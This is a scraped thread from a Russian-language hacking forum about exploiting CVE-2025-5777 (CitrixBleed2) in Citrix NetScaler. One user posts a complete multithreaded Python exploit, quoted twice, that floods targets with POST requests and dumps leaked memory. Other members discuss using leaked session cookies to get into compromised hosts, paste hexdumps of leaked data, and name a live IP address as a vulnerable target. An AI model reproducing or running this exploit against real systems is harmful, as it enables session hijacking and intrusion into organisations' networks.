• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Memory Leak, Citrix NetScaler, CVE-2025-5777 aka CitrixBleed2

shiitbaby

HDD-drive
Забанен
Регистрация
16.11.2024
Сообщения
21
Реакции
2
Гарант сделки
3
Пожалуйста, обратите внимание, что пользователь заблокирован
For a few days now, there’s been talk about exploiting CVE-2025-5777 on Citrix.
The PoC that’s been released is this one:
https://github.com/mingshenhk/CitrixBleed-2-CVE-2025-5777-PoC-
But it’s not practical at all.
Does anyone have any ideas or suggestions that could help?
I’d appreciate any guidance. :smile10: :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован

POC: https://github.com/win3zz/CVE-2025-5777
 

POC: https://github.com/win3zz/CVE-2025-5777
Функционирует ли этот POC?
 
Привет всем! 🥰
Опубликовал новый эксплойт CitrixBleed2 — многопоточный сканер для обнаружения утечки данных на уязвимых серверах Citrix. Скрипт на Python отправляет POST-запросы к целевому серверу и извлекает конфиденциальные данные, содержащиеся в теге <InitialValue>. Полученные данные выводятся в виде гексдампа, а также производится поиск полезных ASCII-строк для удобного анализа. Пользователь может регулировать скорость и количество потоков для оптимизации сканирования. Буду признателен, если кто-то протестирует скрипт в тестовой среде и поделится результатами. Ваш фидбек поможет улучшить инструмент и подтвердить его эффективность.

Python:
import requests
import sys
import re
import time
import threading
from concurrent.futures import ThreadPoolExecutor


requests.packages.urllib3.disable_warnings()


def hexdump(data, length=16):
    result = []
    for i in range(0, len(data), length):
        chunk = data[i:i+length]
        hex_str = ' '.join(f'{b:02x}' for b in chunk)
        ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in chunk)
        result.append(f"{i:08x}  {hex_str.ljust(3*length)}  {ascii_str}")
    return '\n'.join(result)
    

def deep_scan(data):
    strings = re.findall(b'[ -~]{8,}', data)
    return [s.decode('ascii') for s in strings]


def send_request(target_url, delay, thread_id, stop_event):
    headers = {
        "User-Agent": "CitrixBleed-Scanner/1.0",
        "Connection": "keep-alive",
        "Content-Length": "5",
    }
    count = 0
    while not stop_event.is_set():
        count += 1
        try:
            response = requests.post(
                target_url,
                headers=headers,
                data="login",
                verify=False,
                timeout=15,
            )

            if b"<InitialValue>" in response.content:
                leaked_data = re.search(b"<InitialValue>(.*?)</InitialValue>", response.content, re.DOTALL).group(1)
                binary_data = leaked_data

                print(f"\n[Thread {thread_id}] [+] Request #{count} ==================================")
                print("\nHexdump:")
                print(hexdump(binary_data))

                found_strings = deep_scan(binary_data)
                if found_strings:
                    print("\nPossible useful strings:")
                    for s in found_strings:
                        print(f"    • {s}")

            else:
                print(f"[Thread {thread_id}] [!] Request #{count}: <InitialValue> not found in response.")

        except Exception as e:
            print(f"[Thread {thread_id}] [!] Request #{count} error: {str(e)[:50]}...")

        time.sleep(delay)


def exploit_citrixbleed_multithread(target_url, speed_level):
    config = {
        0: (1, 2.0),
        1: (2, 1.5),
        2: (4, 1.0),
        3: (8, 0.5),
        4: (12, 0.2),
        5: (20, 0.0),
    }

    if speed_level not in config:
        print(f"Invalid speed level: {speed_level}. Must be between 0 and 5.")
        sys.exit(1)

    num_threads, delay = config[speed_level]
    print(f"[*] Target: {target_url}")
    print(f"[*] Speed level: {speed_level} -> {num_threads} threads, delay {delay} seconds")
    print("[*] Sending requests indefinitely (press Ctrl+C to stop)...\n")

    stop_event = threading.Event()
    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = []
        for i in range(num_threads):
            futures.append(executor.submit(send_request, target_url, delay, i+1, stop_event))

        try:
            for future in futures:
                future.result()
        except KeyboardInterrupt:
            print("\n[*] Stopping execution...")
            stop_event.set()
            time.sleep(delay + 0.5)
            print("[*] Execution stopped.")


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python3 citrixbleed2_exploit.py <URL> <speed_level (0-5)>")
        print("Example: python3 citrixbleed2_exploit.py https://target.com 3")
        sys.exit(1)

    url = sys.argv[1]
    try:
        speed = int(sys.argv[2])
    except ValueError:
        print("Speed level must be an integer between 0 and 5.")
        sys.exit(1)

    exploit_citrixbleed_multithread(url, speed)
 
Интересная тема. Эксплойт рабочий. Есть одна проблема - отсутствие приложений в пробитых целях. У цитрикса есть два вида кукуи для авторизации, может быть дело в этом? Давайте обсудим. То есть получить куку, с текущим POC, вполне реально. Толи шодан выдает ханики, толи дампятся какие то технические учетки, либо для авторизации с видимыми приложениями чего-то не хватает. Ваши мнения, коллеги?
 
Интересная тема. Эксплойт рабочий. Есть одна проблема - отсутствие приложений в пробитых целях. У цитрикса есть два вида кукуи для авторизации, может быть дело в этом? Давайте обсудим. То есть получить куку, с текущим POC, вполне реально. Толи шодан выдает ханики, толи дампятся какие то технические учетки, либо для авторизации с видимыми приложениями чего-то не хватает. Ваши мнения, коллеги?
Да, нам придется создать скрипт, чтобы получить куки.
 
Да, нам придется создать скрипт, чтобы получить куки.
Куки получить не проблема, вот найти приложение с активными приложениями уже не так просто.
 
Я кроме таких данных и еще пару штук больше не чего не находил
--------------------------------------


Hex Dump:
00000000: 4d 76 36 68 67 32 79 63 46 64 52 69 4f 75 67 6d Mv6hg2ycFdRiOugm
00000010: 39 57 70 65 57 39 74 37 4f 39 38 53 5f 69 42 69 9WpeW9t7O98S_iBi
00000020: 64 6d 6b 72 76 57 46 4e 48 4e 5f 51 78 49 5f 5a dmkrvWFNHN_QxI_Z
00000030: 30 69 42 42 5a 46 68 32 49 67 5a 39 67 31 56 73 0iBBZFh2IgZ9g1Vs
00000040: 6d 7a 76 72 41 49 41 79 62 4d 5f 39 4b 64 56 75 mzvrAIAybM_9KdVu
00000050: 62 45 6f 74 73 2d 4e 79 4d 71 34 62 6b 54 46 67 bEots-NyMq4bkTFg
00000060: 7a 4d 74 7a 6b 5f 7a 5a 38 33 61 34 31 41 5f 61 zMtzk_zZ83a41A_a
00000070: 43 7a 42 4c 47 37 79 6e 71 6d 54 62 73 47 6b CzBLG7ynqmTbsGk
ASCII Content: Mv6hg2ycFdRiOugm9WpeW9t7O98S_iBidmkrvWFNHN_QxI_Z0iBBZFh2IgZ9g1VsmzvrAIAybM_9KdVubEots-NyMq4bkTFgzMtzk_zZ83a41A_aCzBLG7ynqmTbsGk
Sensitive Data: Mv6hg2ycFdRiOugm9WpeW9t7O98S, Z0iBBZFh2IgZ9g1VsmzvrAIAybM, Mv6hg2ycFdRiOugm9WpeW9t7O98S, iBidmkrvWFNHN, Z0iBBZFh2IgZ9g1VsmzvrAIAybM, 9KdVubEots-NyMq4bkTFgzMtzk, zZ83a41A, aCzBLG7ynqmTbsGk
--------------------------------------------------------------------------------
 
Я кроме таких данных и еще пару штук больше не чего не находил
--------------------------------------


Hex Dump:
00000000: 4d 76 36 68 67 32 79 63 46 64 52 69 4f 75 67 6d Mv6hg2ycFdRiOugm
00000010: 39 57 70 65 57 39 74 37 4f 39 38 53 5f 69 42 69 9WpeW9t7O98S_iBi
00000020: 64 6d 6b 72 76 57 46 4e 48 4e 5f 51 78 49 5f 5a dmkrvWFNHN_QxI_Z
00000030: 30 69 42 42 5a 46 68 32 49 67 5a 39 67 31 56 73 0iBBZFh2IgZ9g1Vs
00000040: 6d 7a 76 72 41 49 41 79 62 4d 5f 39 4b 64 56 75 mzvrAIAybM_9KdVu
00000050: 62 45 6f 74 73 2d 4e 79 4d 71 34 62 6b 54 46 67 bEots-NyMq4bkTFg
00000060: 7a 4d 74 7a 6b 5f 7a 5a 38 33 61 34 31 41 5f 61 zMtzk_zZ83a41A_a
00000070: 43 7a 42 4c 47 37 79 6e 71 6d 54 62 73 47 6b CzBLG7ynqmTbsGk
ASCII Content: Mv6hg2ycFdRiOugm9WpeW9t7O98S_iBidmkrvWFNHN_QxI_Z0iBBZFh2IgZ9g1VsmzvrAIAybM_9KdVubEots-NyMq4bkTFgzMtzk_zZ83a41A_aCzBLG7ynqmTbsGk
Sensitive Data: Mv6hg2ycFdRiOugm9WpeW9t7O98S, Z0iBBZFh2IgZ9g1VsmzvrAIAybM, Mv6hg2ycFdRiOugm9WpeW9t7O98S, iBidmkrvWFNHN, Z0iBBZFh2IgZ9g1VsmzvrAIAybM, 9KdVubEots-NyMq4bkTFgzMtzk, zZ83a41A, aCzBLG7ynqmTbsGk
--------------------------------------------------------------------------------
У меня иногда выдает больше информации, например, данные кэша, но это не работает на всех сайтах, это правда.
 
Привет всем! 🥰
Опубликовал новый эксплойт CitrixBleed2 — многопоточный сканер для обнаружения утечки данных на уязвимых серверах Citrix. Скрипт на Python отправляет POST-запросы к целевому серверу и извлекает конфиденциальные данные, содержащиеся в теге <InitialValue>. Полученные данные выводятся в виде гексдампа, а также производится поиск полезных ASCII-строк для удобного анализа. Пользователь может регулировать скорость и количество потоков для оптимизации сканирования. Буду признателен, если кто-то протестирует скрипт в тестовой среде и поделится результатами. Ваш фидбек поможет улучшить инструмент и подтвердить его эффективность.

Python:
import requests
import sys
import re
import time
import threading
from concurrent.futures import ThreadPoolExecutor


requests.packages.urllib3.disable_warnings()


def hexdump(data, length=16):
    result = []
    for i in range(0, len(data), length):
        chunk = data[i:i+length]
        hex_str = ' '.join(f'{b:02x}' for b in chunk)
        ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in chunk)
        result.append(f"{i:08x}  {hex_str.ljust(3*length)}  {ascii_str}")
    return '\n'.join(result)
   

def deep_scan(data):
    strings = re.findall(b'[ -~]{8,}', data)
    return [s.decode('ascii') for s in strings]


def send_request(target_url, delay, thread_id, stop_event):
    headers = {
        "User-Agent": "CitrixBleed-Scanner/1.0",
        "Connection": "keep-alive",
        "Content-Length": "5",
    }
    count = 0
    while not stop_event.is_set():
        count += 1
        try:
            response = requests.post(
                target_url,
                headers=headers,
                data="login",
                verify=False,
                timeout=15,
            )

            if b"<InitialValue>" in response.content:
                leaked_data = re.search(b"<InitialValue>(.*?)</InitialValue>", response.content, re.DOTALL).group(1)
                binary_data = leaked_data

                print(f"\n[Thread {thread_id}] [+] Request #{count} ==================================")
                print("\nHexdump:")
                print(hexdump(binary_data))

                found_strings = deep_scan(binary_data)
                if found_strings:
                    print("\nPossible useful strings:")
                    for s in found_strings:
                        print(f"    • {s}")

            else:
                print(f"[Thread {thread_id}] [!] Request #{count}: <InitialValue> not found in response.")

        except Exception as e:
            print(f"[Thread {thread_id}] [!] Request #{count} error: {str(e)[:50]}...")

        time.sleep(delay)


def exploit_citrixbleed_multithread(target_url, speed_level):
    config = {
        0: (1, 2.0),
        1: (2, 1.5),
        2: (4, 1.0),
        3: (8, 0.5),
        4: (12, 0.2),
        5: (20, 0.0),
    }

    if speed_level not in config:
        print(f"Invalid speed level: {speed_level}. Must be between 0 and 5.")
        sys.exit(1)

    num_threads, delay = config[speed_level]
    print(f"[*] Target: {target_url}")
    print(f"[*] Speed level: {speed_level} -> {num_threads} threads, delay {delay} seconds")
    print("[*] Sending requests indefinitely (press Ctrl+C to stop)...\n")

    stop_event = threading.Event()
    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = []
        for i in range(num_threads):
            futures.append(executor.submit(send_request, target_url, delay, i+1, stop_event))

        try:
            for future in futures:
                future.result()
        except KeyboardInterrupt:
            print("\n[*] Stopping execution...")
            stop_event.set()
            time.sleep(delay + 0.5)
            print("[*] Execution stopped.")


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python3 citrixbleed2_exploit.py <URL> <speed_level (0-5)>")
        print("Example: python3 citrixbleed2_exploit.py https://target.com 3")
        sys.exit(1)

    url = sys.argv[1]
    try:
        speed = int(sys.argv[2])
    except ValueError:
        print("Speed level must be an integer between 0 and 5.")
        sys.exit(1)

    exploit_citrixbleed_multithread(url, speed)
Привет, ты проверял в дикой природе свой скрипт? вот уязвимый таргет https://212.204.110.132/ проверен эксплоитом от вотчтавер
твой запускает бесконечный цикл и я не понимаю что он пытается поймать что бы остановится
[Thread 2] [!] Request #399 InitialValue not found in response.
[Thread 3] [!] Request #403 InitialValue not found in response.
[Thread 1] [!] Request #401 InitialValue not found in response.
[Thread 4] [!] Request #402 InitialValue not found in response.
[Thread 2] [!] Request #400 InitialValue not found in response.
и у тебя ошибка в коде (пришлось исправлять с гпт) :)
Вот основные ошибки в вашем коде:


  1. Отсутствие двоеточий :)) в определениях функций, циклов и условий.
  2. Опечатки в синтаксисе и скобках:
    • chunk = data[ii+length] → неправильно (должно быть data[i:i+length]).
    • В hex_str = ' '.join(f'{b02x}' for b in chunk) должно быть f'{b:02x}'.
    • Операторы сравнения написаны как присваивание: 32 = b = 126.
  3. Некорректный синтаксис словарей и списков:
    • headers = { User-Agent CitrixBleed-Scanner1.0, ...} должно быть с кавычками и двоеточиями.
  4. Строковые литералы без кавычек.
  5. Некорректное условие в if len(sys.argv) 3 (пропущен знак сравнения).
  6. Переменная data=login в requests.post() не определена.
  7. Неэкранированные спецсимволы в f-строках: f{i08x}, f[Thread {thread_id}].
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх